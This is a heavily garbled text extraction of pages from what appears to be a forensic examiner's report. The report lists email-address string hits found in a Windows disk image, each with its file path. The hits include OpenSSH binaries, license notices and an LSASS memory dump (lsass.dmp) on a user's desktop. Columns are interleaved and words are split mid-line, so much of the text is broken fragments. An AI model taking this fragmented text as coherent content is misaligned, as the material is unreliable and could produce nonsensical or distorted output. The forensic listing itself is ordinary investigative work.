this product inc VmChipset Third-Party Notices.txt
n by eric young * /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_hyperv-

(«eay@cryptsoft.com«). vmchipset_31bf3856ad364e35_10.0.17763.529_none_4a2003e0123e6ce
this product inc 0/VmChipset Third-Party Notices.txt
ec_acc@catcert.net
T
a
Preview Source File
g
s
acc0 clfd ]bpy ubp /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«ec_acc@catcert.net«0 Defender/Scans/mpcache-
x0v0t 0e0, https: 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
acc0 clfd ]bpy ubp /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«ec_acc@catcert.net«0
x0v0t 0e0, https:
acc0 clfd ]bpy ubp /

«ec_acc@catcert.net«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.d
x0v0t 0e0, https: mp
acc0 clfd ]bpy ubp /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

x0v0t 0e0, https:
acc0 clfd ]bpy ubp /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

x0v0t 0e0, https:
Page 75/145
T
a
Preview Source File
g
s
acc0 clfd ]bpy ubp /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«ec_acc@catcert.net«0 crypt32-
x0v0t 0e0, https: dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt3
2.dll
acc0 clfd ]bpy ubp /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«ec_acc@catcert.net«0 crypt32-
x0v0t 0e0, https: dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt3
2.dll
ecdsa-sha2-nistp256-cert-v01@openssh.com
T
a
Preview Source File
g
s
penssh.com dsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-add.exe

nistp256-cert-v01@openssh.com«
ecdsa-cert ecdsa-sh
penssh.com dsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-agent.exe

ecdsa-cert ecdsa-sh
penssh.com dsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keygen.exe

ecdsa-cert ecdsa-sh
penssh.com dsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-

nistp256-cert-v01@openssh.com« keyscan.exe
ecdsa-cert ecdsa-sh
%s: protocol error «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

nistp256-cert-
v01@openssh.com«,ecdsa-sha2-
nistp384
Page 76/145
T
a
Preview Source File
g
s
penssh.com dsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

ecdsa-cert ecdsa-sh
penssh.com dsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

nistp256-cert-v01@openssh.com« add.exe
ecdsa-cert ecdsa-sh

nistp256-cert-v01@openssh.com« agent.exe
ecdsa-cert ecdsa-sh

nistp256-cert-v01@openssh.com« keygen.exe
ecdsa-cert ecdsa-sh

ecdsa-cert ecdsa-sh
x->nnew (%zu / %zu) «ecdsa- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

sha2-nistp256-cert-
nistp384
penssh.com dsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-

nistp256-cert-v01@openssh.com« client-components-
ecdsa-cert ecdsa-sh onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c
7e35c/ssh-keyscan.exe
x->nnew (%zu / %zu) «ecdsa- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-

sha2-nistp256-cert- client-components-
v01@openssh.com«,ecdsa-sha2- onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c
nistp384 7e35c/ssh.exe

nistp256-cert-v01@openssh.com« common-components-
ecdsa-cert ecdsa-sh onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207e
Page 77/145
T
a
Preview Source File
g
s
8c478/ssh-add.exe

8c478/ssh-agent.exe

8c478/ssh-keygen.exe
T
a
Preview Source File
g
s
nssh.com ecdsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-add.exe

ecdsa-sha2-nistp521
nssh.com ecdsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-agent.exe

ecdsa-sha2-nistp521
nssh.com ecdsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-

ecdsa-sha2-nistp521
nssh.com ecdsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-

ecdsa-sha2-nistp521
ert-v01@openssh.com,«ecdsa- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

sha2-nistp384-cert-
Page 78/145
T
a
Preview Source File
g
s
nistp521
nssh.com ecdsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

ecdsa-sha2-nistp521
nssh.com ecdsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

nistp384-cert-v01@openssh.com« add.exe
ecdsa-sha2-nistp521

nistp384-cert-v01@openssh.com« agent.exe
ecdsa-sha2-nistp521

ecdsa-sha2-nistp521

ecdsa-sha2-nistp521
ert-v01@openssh.com,«ecdsa- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe
sha2-nistp384-cert-
nistp521
nssh.com ecdsa-cert «ecdsa-sha2- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-

nistp384-cert-v01@openssh.com« client-components-
ecdsa-sha2-nistp521 onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c
ert-v01@openssh.com,«ecdsa- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-
v01@openssh.com«,ecdsa-sha2- onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c
nistp521 7e35c/ssh.exe
Page 79/145
T
a
Preview Source File
g
s

ecdsa-sha2-nistp521 onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207e
8c478/ssh-add.exe

8c478/ssh-agent.exe

8c478/ssh-keygen.exe
T
a
Preview Source File
g
s
ert-v01@openssh.com «ecdsa- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-add.exe

sha2-nistp521-cert-
v01@openssh.com« unknownssh-
unknown,
ert-v01@openssh.com «ecdsa- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-agent.exe

sha2-nistp521-cert-
v01@openssh.com« ssh-unknown
nistp25
ert-v01@openssh.com «ecdsa- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-

sha2-nistp521-cert- keygen.exe
unknown
ert-v01@openssh.com «ecdsa- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-

sha2-nistp521-cert- keyscan.exe
Page 80/145
T
a
Preview Source File
g
s
nistp25
ert-v01@openssh.com,«ecdsa- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

sha2-nistp521-cert-
v01@openssh.com«,ssh-ed25519-
cert-v0
ert-v01@openssh.com «ecdsa- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

sha2-nistp521-cert-
unknown,
ert-v01@openssh.com «ecdsa- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

sha2-nistp521-cert- add.exe
unknown,

sha2-nistp521-cert- agent.exe
nistp25

sha2-nistp521-cert- keygen.exe
unknown

sha2-nistp521-cert- keyscan.exe
nistp25
ert-v01@openssh.com,«ecdsa- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe
sha2-nistp521-cert-
v01@openssh.com«,ssh-ed25519-
cert-v0
Page 81/145
T
a
Preview Source File
g
s
ert-v01@openssh.com «ecdsa- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-

v01@openssh.com« ssh-unknown onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c
nistp25 7e35c/ssh-keyscan.exe
ert-v01@openssh.com,«ecdsa- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-
v01@openssh.com«,ssh-ed25519- onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c
cert-v0 7e35c/ssh.exe

sha2-nistp521-cert- common-components-
v01@openssh.com« unknownssh- onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207
unknown, e8c478/ssh-add.exe

v01@openssh.com« ssh-unknown onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207
nistp25 e8c478/ssh-agent.exe

v01@openssh.com« unknownssh- onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207
unknown e8c478/ssh-keygen.exe
ed25519ssh-ed25519-cert-v01@openssh.com
T
a
Preview Source File
g
s
ssh.com ssh-ed25519 /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-add.exe

«ed25519ssh-ed25519-cert-
v01@openssh.com« ed25519-cert
ssh-rs
56789+/ ssh-ed25519 /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-agent.exe

«ed25519ssh-ed25519-cert-
Page 82/145
T
a
Preview Source File
g
s
ssh-rs
bytes) ssh-ed25519 «ed25519ssh- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-

ed25519-cert-v01@openssh.com« keyscan.exe
ed25519-cert ssh-rs
n_fatal ssh-ed25519 «ed25519ssh- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

ed25519-cert-v01@openssh.com«
ed25519-cert ssh-rs
? !(ew ssh-ed25519 «ed25519ssh- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

ed25519-cert ssh-rs
ha2-512 ssh-ed25519 /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

«ed25519ssh-ed25519-cert- add.exe
ssh-rs
56789+/ ssh-ed25519 /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

«ed25519ssh-ed25519-cert- agent.exe
ssh-rs
bytes) ssh-ed25519 «ed25519ssh- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

ed25519-cert-v01@openssh.com« keyscan.exe
ed25519-cert ssh-rs
n_fatal ssh-ed25519 «ed25519ssh- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

ed25519-cert ssh-rs
bytes) ssh-ed25519 «ed25519ssh- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-

ed25519-cert-v01@openssh.com« client-components-
ed25519-cert ssh-rs onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c
Page 83/145
T
a
Preview Source File
g
s
n_fatal ssh-ed25519 «ed25519ssh- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-

ed25519-cert-v01@openssh.com« client-components-
ed25519-cert ssh-rs onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c
7e35c/ssh.exe
ha2-512 ssh-ed25519 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-

«ed25519ssh-ed25519-cert- common-components-
v01@openssh.com« ed25519-cert onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207e
ssh-rs 8c478/ssh-add.exe
56789+/ ssh-ed25519 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-

«ed25519ssh-ed25519-cert- common-components-
v01@openssh.com« ed25519-cert onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207e
ssh-rs 8c478/ssh-agent.exe
eemeli@gmail.com
T
a
Preview Source File
g
s
2016 by eemeli aro /img_disk.raw/vol_vol7/Program

<«eemeli@gmail.com«> Files/WindowsApps/Microsoft.SkypeApp_14.26.95.0_x64__kzf8qxf38
\n\nprovided for i zg5c/ReactAssets/index.windows.bundle
einar@jsbeautifier.org
T
a
Preview Source File
g
s
: einar lielmanis, /
<«einar@jsbeautifier.org« img_disk.raw/vol_vol7/Windows/SystemApps/Microsoft.MicrosoftEdgeDe
> http://jsbeautifie vToolsClient_8wekyb3d8bbwe/23/common/monaco-
editor/min/vs/language/html/htmlWorker.js
: einar lielmanis, /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

<«einar@jsbeautifier.org« m..oolsclient.appxmain_31bf3856ad364e35_10.0.17763.1_none_b0a211
> http://jsbeautifie 6e8181c150/htmlWorker.js
Page 84/145
T
a
Preview Source File
g
s
: einar lielmanis, /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

<«einar@jsbeautifier.org« m..oolsclient.appxmain_31bf3856ad364e35_10.0.17763.348_none_34a7
> http://jsbeautifie b549aeff8c8c/htmlWorker.js
el@l32.sh
Ta
Preview Source File
gs
l tenu 2frees hared /img_disk.raw/vol_vol7/Windows/System32/winevt/Logs/Microsoft-

«el@l32.sh« (getinversècmap Windows-Shell-Core%4Operational.evtx-slack
%t
elena@somemail.ro
T
a
Preview Source File
g
s
-am scris pe adresa /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«elena@somemail.ro«. shared/ink/Alphabet.xml
ai văzut? c
-am scris pe adresa /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«elena@somemail.ro«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
ai văzut? c e7da144/Alphabet.xml
ellenorzes@netlock.net
T
a
Preview Source File
g
s
men vagy kerheto az /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«ellenorzes@netlock.net« e- Defender/Scans/mpcache-
mail cimen. impor 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
Page 85/145
T
a
Preview Source File
g
s
men vagy kerheto az /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«ellenorzes@netlock.net« e-
mail cimen. impor
men vagy kerheto az /

«ellenorzes@netlock.net« e- img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsas
mail cimen. impor s.dmp
men vagy kerheto az /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

mail cimen. impor
men vagy kerheto az /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

mail cimen. impor
men vagy kerheto az /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

«ellenorzes@netlock.net« e- windows-crypt32-
mail cimen. impor dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/cryp
t32.dll
men vagy kerheto az /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-

«ellenorzes@netlock.net« e- windows-crypt32-
mail cimen. impor dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/cry
pt32.dll
email@example.com
T
a
Preview Source File
g
s
email" /
placeholder="«email@exam img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.
ple.com«" aria-label="email" MicrosoftEdge_8wekyb3d8bbwe/AC/#!
001/MicrosoftEdge/Cache/KBBFFLP4/en-us[1].htm
Page 86/145
erabiltzailea@contoso.com
T
a
Preview Source File
g
s
onmicrosoft.com edo /img_disk.raw/vol_vol7/Program

«erabiltzailea@contoso.c Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__
om«. zuzendu eta saiatu 8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
erabiltzailea@contoso.onmicrosoft.com
T
a
Preview Source File
g
s
hau izan behar du: /img_disk.raw/vol_vol7/Program

«erabiltzailea@contoso.onmi Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64
crosoft.com« edo __8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
erabiltzailea@c Shared/OFFICE16/MSOIDRES.DLL
f8i2uewp7q.l@nefr17.ws
T
a
Preview Source File
g
s
yb /img_disk.raw/vol_vol7/Windows/Speech_OneCore/Engines/TTS/en-
>fc;n4{8w7d42ku;*«f8i2ue US/M1033Zira.SPEECHUX.NUS
wp7q.l@nefr17.ws«="x.s8i
y; h[9dgg^ô4
yb /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
>fc;n4{8w7d42ku;*«f8i2ue t..peech-en-us-
wp7q.l@nefr17.ws«="x.s8i onecore_31bf3856ad364e35_10.0.17763.1_none_ecc2dbcee106498b/
y; h[9dgg^ô4 M1033Zira.SPEECHUX.NUS
Page 87/145
f@faisalman.com
T
a
Preview Source File
g
s
2019 faisal salman /

<«f@faisalman.com«> * img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.Micro
licensed under m softEdge_8wekyb3d8bbwe/AC/#!
001/MicrosoftEdge/Cache/Y2A6TZJV/header.3998d7b2c933bc66e920.bun
dle[1].js
f@window.show
T
a
Preview Source File
g
s
d domain isedgehtml /img_disk.raw/vol_vol7/Windows/SysWOW64/mshtml.dll

«f@window.show«modeles
sdialogsessio
d domain isedgehtml /img_disk.raw/vol_vol7/Windows/System32/mshtml.dll

«f@window.show«modeles
sdialogsessio
d domain isedgehtml /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«f@window.show«modeles i..tmlrendering-
sdialogsessio legacy_31bf3856ad364e35_11.0.17763.1_none_36e978ca75598f85/ms
html.dll
d domain isedgehtml /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«f@window.show«modeles i..tmlrendering-
sdialogsessio legacy_31bf3856ad364e35_11.0.17763.1_none_413e231ca9ba5180/m
shtml.dll
failedecdsa-sha2-nistp256-cert-v01@openssh.com
Ta
Preview Source File
gs
a1 %s: ssh_msg_send «failedecdsa-sha2-nistp256-cert- /img_disk.raw/vol_vol7/Program

v01@openssh.com«,ecdsa-sha2-nistp384 Files/OpenSSH/sshd.exe
Page 88/145
fayearthur@gmail.com
T
a
Preview Source File
g
s
016 heather arthur /img_disk.raw/vol_vol7/Program

<«fayearthur@gmail.com«>\n\ Files/WindowsApps/Microsoft.SkypeApp_14.26.95.0_x64__kzf8qxf3
npermission is h 8zg5c/ReactAssets/index.windows.bundle
fedora@leemhuis.info
Ta
Preview Source File
gs
thorsten leemhuis /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«fedora@leemhuis.info«> jon masters Tools/open_source_licenses.txt
<jcm@r
fernandn@microsoft.com
Ta
Preview Source File
gs
0 fernando navarro /img_disk.raw/vol_vol7/Program Files/VMware/VMware

(«fernandn@microsoft.com«) copyright (c) Tools/open_source_licenses.txt
2010
ffmpeg-devel@ffmpeg.org
T
a
Preview Source File
g
s
evel mailing list. («ffmpeg- /img_disk.raw/vol_vol7/Program

devel@ffmpeg.org«) Files/WindowsApps/Microsoft.WebMediaExtensions_1.0.12341.0_x
c:/ba/9/s/ffmpegin 64__8wekyb3d8bbwe/avutil-56_ms.dll
fnatter@gmx.net
Ta
Preview Source File
gs
thor: felix natter <«fnatter@gmx.net«>, /img_disk.raw/vol_vol7/Program Files/VMware/VMware

geert kloosterman Tools/open_source_licenses.txt
Page 89/145
foo@contoso.com
T
a
Preview Source File
g
s
ail>. eg. /img_disk.raw/vol_vol7/Windows/SysWOW64/AuthFWSnapin.dll

contosoid\«foo@contos
o.com« the online id was
n
ail>. eg. /
contosoid\«foo@contos img_disk.raw/vol_vol7/Windows/SysWOW64/en/AuthFWSnapIn.Resources
o.com« the online id was .dll
n
ail>. eg. /img_disk.raw/vol_vol7/Windows/System32/AuthFWSnapin.dll

contosoid\«foo@contos
o.com« the online id was
n
ail>. eg. /
contosoid\«foo@contos img_disk.raw/vol_vol7/Windows/System32/en/AuthFWSnapIn.Resources.d
o.com« the online id was ll
n
ail>. eg. /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_networking-mpssvc-

contosoid\«foo@contos admin.resources_31bf3856ad364e35_10.0.17763.1_en-
o.com« the online id was us_31b60561eef3039f/AuthFWSnapIn.Resources.dll
n
ail>. eg. /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_networking-mpssvc-

contosoid\«foo@contos admin_31bf3856ad364e35_10.0.17763.1_none_961817d8d9f86206/AuthF
o.com« the online id was WSnapin.dll
n
ail>. eg. /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_networking-mpssvc-

contosoid\«foo@contos admin.resources_31bf3856ad364e35_10.0.17763.1_en-
o.com« the online id was us_3c0aafb42353c59a/AuthFWSnapIn.Resources.dll
n
ail>. eg. /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_networking-mpssvc-

contosoid\«foo@contos admin_31bf3856ad364e35_10.0.17763.1_none_a06cc22b0e592401/AuthF
Page 90/145
T
a
Preview Source File
g
s
o.com« the online id was WSnapin.dll

n
forwarded-streamlocal@openssh.com
T
a
Preview Source File
g
s
rwarded-streamlocal «forwarded- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

warning: ssh server
amlocal@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

«forwarded-
connection to port
rwarded-streamlocal «forwarded- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

warning: ssh server
rwarded-streamlocal «forwarded- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

streamlocal@openssh.com« components-
warning: ssh server onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
e35c/ssh.exe
freetype-devel@nongnu.org
T
a
Preview Source File
g
s
entation. o «freetype- /img_disk.raw/vol_vol7/pagefile.sys

devel@nongnu.org«
discusses
cumentation. o «freetype- /img_disk.raw/vol_vol7/Program

devel@nongnu.org« Files/WindowsApps/Microsoft.MicrosoftSolitaireCollection_4.1.5252.0_
Page 91/145
T
a
Preview Source File
g
s
discusses bu x86__8wekyb3d8bbwe/ThirdPartyNotices.txt
ntation. o «freetype- /
devel@nongnu.org« img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/1
discusse 8.143.0717.0002/ThirdPartyNotices.txt
ntation. o «freetype- /
devel@nongnu.org« img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/1
discusse 8.143.0717.0002_1/ThirdPartyNotices.txt
freetype@nongnu.org
Ta
Preview Source File
gs
freetype: o /img_disk.raw/vol_vol7/pagefile.sys
«freetype@nongnu.org«
discusses
to freetype: o /img_disk.raw/vol_vol7/Program
«freetype@nongnu.org« Files/WindowsApps/Microsoft.MicrosoftSolitaireCollection_4.1.5252.0_x8
discusses ge 6__8wekyb3d8bbwe/ThirdPartyNotices.txt
reetype: o /
«freetype@nongnu.org« img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/18.
discusse 143.0717.0002/ThirdPartyNotices.txt
reetype: o /
«freetype@nongnu.org« img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/18.
discusse 143.0717.0002_1/ThirdPartyNotices.txt
friedman@prep.ai.mit.edu
Ta
Preview Source File
gs
hor: noah friedman /img_disk.raw/vol_vol7/Program

<«friedman@prep.ai.mit.edu«> created: Files/VMware/VMware Tools/open_source_licenses.txt
1993-05-1
Page 92/145
friends@segment.com
T
a
Preview Source File
g
s
,"author":"segment /
<«friends@segment.com«> img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.
","version":"3.9.0" MicrosoftEdge_8wekyb3d8bbwe/AC/#!
001/MicrosoftEdge/Cache/KBBFFLP4/analytics.min[1].js
fstatvfs@openssh.com
T
a
Preview Source File
g
s
penssh.com fstatvfs /img_disk.raw/vol_vol7/Program Files/OpenSSH/sftp-server.exe

«fstatvfs@openssh.com«
hardlink hardlink@o
tatvfs@openssh.com2 /img_disk.raw/vol_vol7/Program Files/OpenSSH/sftp.exe

hardlink@openssh.co
tatvfs@openssh.com2 /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/sftp.exe
hardlink@openssh.co
tatvfs@openssh.com2 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
«fstatvfs@openssh.com« components-
hardlink@openssh.co onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e35
c/sftp.exe
fsync@openssh.com
T
a
Preview Source File
g
s
k@openssh.com fsync /img_disk.raw/vol_vol7/Program Files/OpenSSH/sftp-server.exe

«fsync@openssh.com«
lsetstat lsetstat@o
Page 93/145
T
a
Preview Source File
g
s
ardlink@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/sftp.exe

lsetstat@openssh.co
ardlink@openssh.com /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/sftp.exe
server supports ext
ardlink@openssh.com /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
«fsync@openssh.com« components-
server supports ext onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e35
c/sftp.exe
fuxo@example.com
T
a
Preview Source File
g
s
e news alla casella /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«fuxo@example.com«. shared/ink/Alphabet.xml
ghisèla si
e news alla casella /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«fuxo@example.com«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
ghisèla si e7da144/Alphabet.xml
fyzlman@gmail.com
T
a
Preview Source File
g
s
2016 faisal salman /img_disk.raw/vol_vol7/Program

<«fyzlman@gmail.com«>\n\np Files/WindowsApps/Microsoft.SkypeApp_14.26.95.0_x64__kzf8qxf3
ermission is h 8zg5c/ReactAssets/index.windows.bundle
Page 94/145
g@googlemail.com
T
a
Preview Source File
g
s
ntment.invitees /img_disk.raw/vol_vol7/Program
n:d}«g@googlemail.com« Files/WindowsApps/microsoft.windowscommunicationsapps_17.9330.
hxdeviceid versiona 21365.0_x64__8wekyb3d8bbwe/HxComm.dll
gabriele.svelto@gmail.com
Ta
Preview Source File
gs
13 gabriele svelto /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«gabriele.svelto@gmail.com«> copying Tools/open_source_licenses.txt
and distr
galerie14@tek-astore.cz
T
a
Preview Source File
g
s
ujte nás na e-mail: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«galerie14@tek- shared/ink/Alphabet.xml
astore.cz« (s + q + l +
ujte nás na e-mail: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«galerie14@tek- t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb
astore.cz« (s + q + l + 1e7da144/Alphabet.xml
gebruiker@contoso.com
T
a
Preview Source File
g
s
.onmicrosoft.com of /img_disk.raw/vol_vol7/Program
«gebruiker@contoso.co Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__8
m«. corrigeer de indel wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
Page 95/145
gebruiker@contoso.onmicrosoft.com
T
a
Preview Source File
g
s
de indeling hebben: /img_disk.raw/vol_vol7/Program

«gebruiker@contoso.onmicr Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64
osoft.com« of __8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
gebruiker@contos Shared/OFFICE16/MSOIDRES.DLL
geertk@ai.rug.nl
Ta
Preview Source File
gs
geert kloosterman /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«geertk@ai.rug.nl«> created: jun 21 Tools/open_source_licenses.txt
20
gh-.de@h.ee
T
a
Preview Source File
g
s
q tqtq 0**4& <@)y /img_disk.raw/vol_vol7/Windows/Fonts/msyh.ttc

b@«gh-.de@h.ee«.h@ 2+
+8 :@+y o oòp
q tqtq 0**4& <@)y /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

b@«gh-.de@h.ee«.h@ 2+ f..type-
+8 :@+y o oòp microsoftyahei_31bf3856ad364e35_10.0.17763.1_none_2b992c158842
b695/msyh.ttc
ghost@aladdin.com
T
a
Preview Source File
g
s
l. peter deutsch /img_disk.raw/vol_vol7/Program

«ghost@aladdin.com« Files/WindowsApps/Microsoft.Office.OneNote_16001.10228.20003.
================== 0_x64__8wekyb3d8bbwe/resources.pri
Page 96/145
gq@m1v.dm
Ta
Preview Source File
gs
b@vr -ms.em ico.j"f «gq@m1v.dm«3 /

wa wm @s\lock _afs img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/42
greg@kinoho.net
T
a
Preview Source File
g
s
12 grigori goronzy /img_disk.raw/vol_vol7/pagefile.sys

<«greg@kinoho.net«> * *
pe
12 grigori goronzy /img_disk.raw/vol_vol7/Program

<«greg@kinoho.net«> * * Files/WindowsApps/Microsoft.MicrosoftSolitaireCollection_4.1.5252.0_x
permission t 86__8wekyb3d8bbwe/ThirdPartyNotices.txt
12 grigori goronzy /
<«greg@kinoho.net«> * * img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/1
pe 8.143.0717.0002/ThirdPartyNotices.txt
12 grigori goronzy /
<«greg@kinoho.net«> * * img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/1
pe 8.143.0717.0002_1/ThirdPartyNotices.txt
grisuthedragon@users.github.com
T
a
Preview Source File
g
s
013 martin koehler, /img_disk.raw/vol_vol7/Program

«grisuthedragon@users.github.co Files/WindowsApps/Microsoft.SkypeApp_14.26.95.0_x64__kzf8q
m«\nall rights reserve xf38zg5c/ReactAssets/index.windows.bundle
Page 97/145
gtcauto@microsoft.com
T
a
Preview Source File
g
s
rmissionsbyurlasync /img_disk.raw/vol_vol7/Program
«gtcauto@microsoft.com« Files/WindowsApps/Microsoft.Office.OneNote_16001.10228.20003
